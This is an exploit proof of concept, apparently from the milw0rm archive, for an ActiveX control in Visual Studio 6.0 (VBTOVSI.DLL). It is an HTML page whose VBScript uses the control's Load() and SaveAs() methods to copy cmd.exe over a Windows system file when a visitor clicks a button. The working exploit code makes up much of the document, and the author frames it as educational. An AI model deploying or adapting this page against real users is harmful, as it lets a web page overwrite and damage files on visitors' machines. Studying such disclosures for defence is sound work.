37 lines
No EOL
1.5 KiB
HTML
37 lines
No EOL
1.5 KiB
HTML
<pre>
|
|
<code><span style="font: 10pt Courier New;"><span class="general1-symbol"><body bgcolor="#E0E0E0">---------------------------------------------------------------------------------------------------------
|
|
<b>Microsoft Visual Studio 6.0 VB To VSI Support Library (VBTOVSI.DLL v. 1.0.0.0) Arbitrary File Overwrite</b>
|
|
url: http://www.microsoft.com
|
|
|
|
author: shinnai
|
|
mail: shinnai[at]autistici[dot]org
|
|
site: http://shinnai.altervista.org
|
|
|
|
This was written for educational purpose. Use it at your own risk.
|
|
Author will be not responsible for any damage.
|
|
|
|
Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
|
|
|
|
<b>Description:
|
|
Using the "Load()" method we can load the content of a file from local machine passed as argument to
|
|
this function and then save it into arbitrary location with the "SaveAs()" method.
|
|
This allow to overwrite well known files with arbitrary data. I try to pass to the "Load()" method
|
|
remote directories (http) but, unfortunately, it accepts only local directories.</b>
|
|
---------------------------------------------------------------------------------------------------------
|
|
|
|
<object classid='clsid:7EEA39E3-41D1-11D2-AB3B-00AA00BDD685' id='test'></object>
|
|
|
|
<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">
|
|
|
|
<script language = 'vbscript'>
|
|
Sub tryMe()
|
|
test.Load "c:\windows\system32\cmd.exe" 'or just some existing file
|
|
test.SaveAs "c:\windows\system_.ini"
|
|
MsgBox "Exploit completed!"
|
|
End Sub
|
|
</script>
|
|
</span></span>
|
|
|
|
</code></pre>
|
|
|
|
# milw0rm.com [2007-09-11] |